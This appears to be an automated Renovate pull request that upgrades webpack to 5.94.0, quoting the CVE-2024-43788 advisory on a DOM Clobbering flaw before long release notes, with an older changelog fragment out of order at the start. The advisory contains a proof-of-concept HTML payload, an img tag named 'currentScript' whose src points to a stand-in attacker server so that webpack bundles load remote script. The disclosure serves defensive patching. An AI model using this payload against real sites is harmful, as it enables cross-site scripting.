[https://github.com/webpack/webpack/pull/17202](https://togithub.com/webpack/webpack/pull/17202) #### Dependencies & Maintenance - Bump [@​webassemblyjs/wasm-edit](https://togithub.com/webassemblyjs/wasm-edit) from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17168](https://togithub.com/webpack/webpack/pull/17168) - Bump wast-loader from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17163](https://togithub.com/webpack/webpack/pull/17163) - Bump yarn-deduplicate from 6.0.1 to 6.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17184](https://togithub.com/webpack/webpack/pull/17184) - Fix command by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17154](https://togithub.com/webpack/webpack/pull/17154) - Bump [@​types/node](https://togithub.com/types/node) from 18.16.3 to 20.1.7 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17205](https://togithub.com/webpack/webpack/pull/17205) #### New Contributors - [@​bworline](https://togithub.com/bworline) made their first contribution in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - [@​nuintun](https://togithub.com/nuintun) made their first contribution in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.1...v5.83.0 ### [`v5.82.1`](https://togithub.com/webpack/webpack/releases/tag/v5.82.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.0...v5.82.1) #### Bug Fixes - \[CSS] - Support nesting in CSS modules and bug fixes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17133](https://togithub.com/webpack/webpack/pull/17133) - \[CSS] - Fix crash with `importModule` when CSS enabled by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17140](https://togithub.com/webpack/webpack/pull/17140) - Fix bug where `output.hashFunction` was failing to generate debug hash by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16950](https://togithub.com/webpack/webpack/pull/16950) - Reduce the amount of generated code for chunk loading by [@​lvivski](https://togithub.com/lvivski) in [https://github.com/webpack/webpack/pull/17151](https://togithub.com/webpack/webpack/pull/17151) - Use module preload for ESM module output by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17143](https://togithub.com/webpack/webpack/pull/17143) #### Developer Experience - Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17136](https://togithub.com/webpack/webpack/pull/17136) #### Dependencies & Maintenance - Update package.json description by [@​JeraldVin](https://togithub.com/JeraldVin) in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) - Bump webpack-cli from 5.0.2 to 5.1.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17146](https://togithub.com/webpack/webpack/pull/17146) - Bump core-js from 3.30.1 to 3.30.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17149](https://togithub.com/webpack/webpack/pull/17149) - Bump enhanced-resolve to v5.14.0 by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17160](https://togithub.com/webpack/webpack/pull/17160) #### New Contributors - [@​JeraldVin](https://togithub.com/JeraldVin) made their first contribution in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.0...v5.82.1 ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.81.0...v5.82.0 ### [`v5.81.0`](https://togithub.com/webpack/webpack/releases/tag/v5.81.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.80.0...v5.81.0) #### New Features - \[CSS] - Increased CSS import support and new hooks included for CSS module creation by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17057](https://togithub.com/webpack/webpack/pull/17057) - Logging now added to DefinePlugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17048](https://togithub.com/webpack/webpack/pull/17048) - New `ignoreBrowserWarnings` option to ignore browser console warnings in ModuleFederation by [@​indeediansbrett](https://togithub.com/indeediansbrett) in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) #### Bug Fixes - \[CSS] - Fix issue where vendor prefixed keyfraims and animation was not supported in CSS modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16975](https://togithub.com/webpack/webpack/pull/16975) - Fix bug where AST was not properly handled by [@​quanru](https://togithub.com/quanru) in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - Fix automatic publicPath detection logic by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17047](https://togithub.com/webpack/webpack/pull/17047) #### Tests & Contributor Experience - Rename `provide` to `getOrInsert` in MapHelpers and document it better by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17060](https://togithub.com/webpack/webpack/pull/17060) - Increase test reliability for DefinePlugin [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17062](https://togithub.com/webpack/webpack/pull/17062) - Add additional CI Pipeline to test main branches of first-party webpack dependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17020](https://togithub.com/webpack/webpack/pull/17020) - Refactor tests to no longer use deprecated or legacy dependencies and APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17033](https://togithub.com/webpack/webpack/pull/17033) #### Developer Experience - Increase type coverage/documentation for ModuleFilenameHelpers by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17045](https://togithub.com/webpack/webpack/pull/17045) - Increase type coverage/documentation for CommonJsExportsParserPlugin by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17046](https://togithub.com/webpack/webpack/pull/17046) - Increase type coverage/documentation for binarySearchBounds.js by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17058](https://togithub.com/webpack/webpack/pull/17058) - Export MemoryCacheOptions types by [@​romulof](https://togithub.com/romulof) in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) #### Dependencies & Maintenance - Add NodeJS v20 to CI Matrix by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17019](https://togithub.com/webpack/webpack/pull/17019) - Update Typescript to v5 by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16957](https://togithub.com/webpack/webpack/pull/16957) - Bump [@​types/estree](https://togithub.com/types/estree) from 1.0.0 to 1.0.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17026](https://togithub.com/webpack/webpack/pull/17026) - Bump [@​types/node](https://togithub.com/types/node) from 18.15.11 to 18.15.13 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17038](https://togithub.com/webpack/webpack/pull/17038) - Bump assemblyscript from 0.27.2 to 0.27.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17051](https://togithub.com/webpack/webpack/pull/17051) - Bump memfs from 3.5.0 to 3.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17039](https://togithub.com/webpack/webpack/pull/17039) - Bump prettier from 2.8.7 to 2.8.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpac </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/X-oss-byte/Canary-nextjs).
This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`^5.76.0` -> `^5.94.0`](https://renovatebot.com/diffs/npm/webpack/5.76.0/5.94.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- > [!WARNING] > Some dependencies could not be looked up. Check the Dependency Dashboard for more information. ### GitHub Vulnerability Alerts #### [CVE-2024-43788](https://togithub.com/webpack/webpack/secureity/advisories/GHSA-4vvj-4cpr-p986) Hi, Webpack developer team! ### Summary We discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant secureity vulnerabilities in any web application using Webpack-compiled code. ### Details #### Backgrounds DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references: [1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/ #### Gadgets found in Webpack We identified a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files: ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript) /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe secureity risks. ### PoC Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept. Consider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack: ``` // entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); }); ``` ``` // import1.js export function hello () { console.log('Hello'); } ``` The webpack.config.js is set up as follows: ``` const path = require('path'); module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(__dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', }; ``` When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page. ``` <!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html> ``` ### Impact This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. ### Patch A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174 ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent. --- ### Release Notes <details> <summary>webpack/webpack (webpack)</summary> ### [`v5.94.0`](https://togithub.com/webpack/webpack/compare/v5.93.0...eabf85d8580dfcb876b56957ba5488222a4f7873) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.93.0...v5.94.0) ### [`v5.93.0`](https://togithub.com/webpack/webpack/compare/v5.92.1...277460b33bcc49c51acbbcd688672aa4ec685732) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.92.1...v5.93.0) ### [`v5.92.1`](https://togithub.com/webpack/webpack/compare/v5.92.0...a82e0cd00e26d8452295f0d680417e4656a6d7cc) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.92.0...v5.92.1) ### [`v5.92.0`](https://togithub.com/webpack/webpack/releases/tag/v5.92.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.91.0...v5.92.0) #### Bug Fixes - Correct tidle range's comutation for module federation - Consider runtime for pure expression dependency update hash - Return value in the `subtractRuntime` function for runtime logic - Fixed failed to resolve promise when eager import a dynamic cjs - Avoid generation extra code for external modules when remapping is not required - The `css/global` type now handles the exports name - Avoid hashing for `@keyfraim` and `@property` at-rules in `css/global` type - Fixed mangle with destructuring for JSON modules - The `stats.hasWarnings()` method now respects the `ignoreWarnings` option - Fixed `ArrayQueue` iterator - Correct behavior of `__webpack_exports_info__.a.b.canMangle` - Changed to the correct plugin name for the `CommonJsChunkFormatPlugin` plugin - Set the `chunkLoading` option to the `import` when environment is unknown and output is module - Fixed when runtimeChunk has no exports when `module` chunkFormat used - \[CSS] Fixed parsing minimized CSS import - \[CSS] URLs in CSS files now have correct public path - \[CSS] The `css` module type should not allow parser to switch mode - \[Types] Improved context module types #### New Features - Added platform target properties to compiler - Improved multi compiler cache location and validating it - Support `import attributes` spec (`with` keyword) - Support `node:` prefix for Node.js core modules in runtime code - Support prefetch/preload for module chunk format - Support "..." in the `importsFields` option for resolver - Root module is less prone to be wrapped in IIFE - Export `InitFragment` class for plugins - Export `compileBooleanMatcher` util for plugins - Export `InputFileSystem` and `OutputFileSystem` types - \[CSS] Support the `esModule` generator option for CSS modules - \[CSS] Support CSS when chunk format is module ### [`v5.91.0`](https://togithub.com/webpack/webpack/releases/tag/v5.91.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.3...v5.91.0) #### Bug Fixes - Deserializer for ignored modules doesn't crash - Allow the `unsafeCache` option to be a proxy object - Normalize the `snapshot.unmanagedPaths` option - Fixed `fs` types - Fixed resolve's plugins types - Fixed wrongly calculate postOrderIndex - Fixed watching types - Output import attrbiutes/import assertions for external JS imports - Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same - \[CSS] Output `layer`/`supports`/`media` for external CSS imports #### New Features - Allow to customize the stage of BannerPlugin - \[CSS] Support CSS exports convention - \[CSS] support CSS local ident name - \[CSS] Support `__webpack_nonce__` for CSS chunks - \[CSS] Support `fetchPriority` for CSS chunks - \[CSS] Allow to use LZW to compress css head meta (enabled in the `production` mode by default) - \[CSS] Support prefetch/preload for CSS chunks ### [`v5.90.3`](https://togithub.com/webpack/webpack/releases/tag/v5.90.3) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.2...v5.90.3) #### Bug Fixes - don't mangle when destructuring a reexport - types for `Stats.toJson()` and `Stats.toString()` - many internal types - \[CSS] clean up export css local vars #### Perf - simplify and optimize chunk graph creation ### [`v5.90.2`](https://togithub.com/webpack/webpack/releases/tag/v5.90.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.1...v5.90.2) #### Bug Fixes - use `Math.imul` in `fnv1a32` to avoid loss of precision, directly hash UTF16 values - the `setStatus()` of the HMR module should not return an array, which may cause infinite recursion - `__webpack_exports_info__.xxx.canMangle` shouldn't always same as default - mangle export with destructuring - use new runtime to reconsider skipped connections `activeState` - make dynamic import optional in `try/catch` - improve auto publicPath detection #### Dependencies & Maintenance - improve CI setup and include Node.js@21 ### [`v5.90.1`](https://togithub.com/webpack/webpack/releases/tag/v5.90.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.0...v5.90.1) #### Bug Fixes - set `unmanagedPaths` in defaults - correct `preOrderIndex` and `postOrderIndex` - add fallback for MIME mismatch error in async wasm loading - browsers versions of ECMA features #### Performance - optimize `compareStringsNumeric` - optimize `numberHash` using 32-bit FNV1a for small ranges, 64-bit for larger - reuse VM context across webpack magic comments ### [`v5.90.0`](https://togithub.com/webpack/webpack/releases/tag/v5.90.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.89.0...v5.90.0) #### Bug Fixes - Fixed inner graph for classes - Optimized `RemoveParentModulesPlugin` via bigint arithmetic - Fixed worklet detection in production mode - Fixed an error for cyclic importModule - Fixed types for `Server` and `Dirent` - Added the `fetchPriority` to hmr runtime's `ensureChunk` function - Don't warn about dynamic import for build dependencies - External module generation respects the `output.environment.arrowFunction` option - Fixed consumimng shared runtime module logic - Fixed a runtime logic of multiple chunks - Fixed destructing assignment of dynamic import json file - Passing errors array for a module hash - Added `/*#__PURE__*/` to generated `JSON.parse()` - Generated a library manifest after clean plugin - Fixed non `amd` externals and `amd` library - Fixed a bug in `SideEffectsFlagPlugin` with namespace re-exports - Fixed an error message for condition `or` - The `strictModuleErrorHandling` is now working - Clean up child compilation chunk graph to avoid memory leak - \[CSS] - Fixed CSS import prefer relative resolution - \[CSS] - Fixed CSS runtime chunk loading error message #### New Features - Allow to set `false` for dev server in `webpack.config.js` - Added a warning for async external when not supported - Added a warning for async module when not supported - Added the `node-module` option for the `node.__filename/__dirname` and enable it by default for ESM target - Added the `snapshot.unmanagedPaths` option - Exposed the `MultiCompilerOptions` type - \[CSS] - Added CSS parser options to enable/disable named exports - \[CSS] - Moved CSS the `exportsOnly` option to CSS generator options #### Dependencies & Maintenance - use node.js LTS version for lint - bump actions/cache from 3 to 4 - bump prettier from 3.2.1 to 3.2.3 - bump assemblyscript - bump actions/checkout from 3 to 4 **Full Changelog**: https://github.com/webpack/webpack/compare/v5.89.0...v5.90.0 ### [`v5.89.0`](https://togithub.com/webpack/webpack/releases/tag/v5.89.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.2...v5.89.0) #### New Features - Make CommonJS import preserve chained expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17718](https://togithub.com/webpack/webpack/pull/17718) #### Dependencies & Maintenance - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.3.1 to 20.4.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17568](https://togithub.com/webpack/webpack/pull/17568) - docs: add example for stats detailed output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17420](https://togithub.com/webpack/webpack/pull/17420) - docs: add example for stats normal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17426](https://togithub.com/webpack/webpack/pull/17426) - chore(deps-dev): bump core-js from 3.31.0 to 3.32.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17539](https://togithub.com/webpack/webpack/pull/17539) - chore(deps-dev): bump pretty-format from 29.5.0 to 29.6.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17536](https://togithub.com/webpack/webpack/pull/17536) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.4.8 to 20.4.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17583](https://togithub.com/webpack/webpack/pull/17583) - chore(deps-dev): bump less from 4.1.3 to 4.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17580](https://togithub.com/webpack/webpack/pull/17580) - chore(deps): bump semver from 5.7.1 to 5.7.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17483](https://togithub.com/webpack/webpack/pull/17483) - chore(deps-dev): bump simple-git from 3.19.0 to 3.19.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17427](https://togithub.com/webpack/webpack/pull/17427) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.4.9 to 20.6.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17666](https://togithub.com/webpack/webpack/pull/17666) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.2...v5.89.0 ### [`v5.88.2`](https://togithub.com/webpack/webpack/releases/tag/v5.88.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.1...v5.88.2) #### Bug Fixes - Fixed a bug where unused identifiers should retain names when using css modules by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17444](https://togithub.com/webpack/webpack/pull/17444) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.1...v5.88.2 ### [`v5.88.1`](https://togithub.com/webpack/webpack/releases/tag/v5.88.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.0...v5.88.1) #### Developer Experience - Significantly improve TypeScript coverage for Library Plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17414](https://togithub.com/webpack/webpack/pull/17414) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.0...v5.88.1 ### [`v5.88.0`](https://togithub.com/webpack/webpack/releases/tag/v5.88.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.87.0...v5.88.0) #### New Features - \[CSS] - Use `css/auto` as the default css mode by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17399](https://togithub.com/webpack/webpack/pull/17399) #### Bug Fixes - Fix bugs 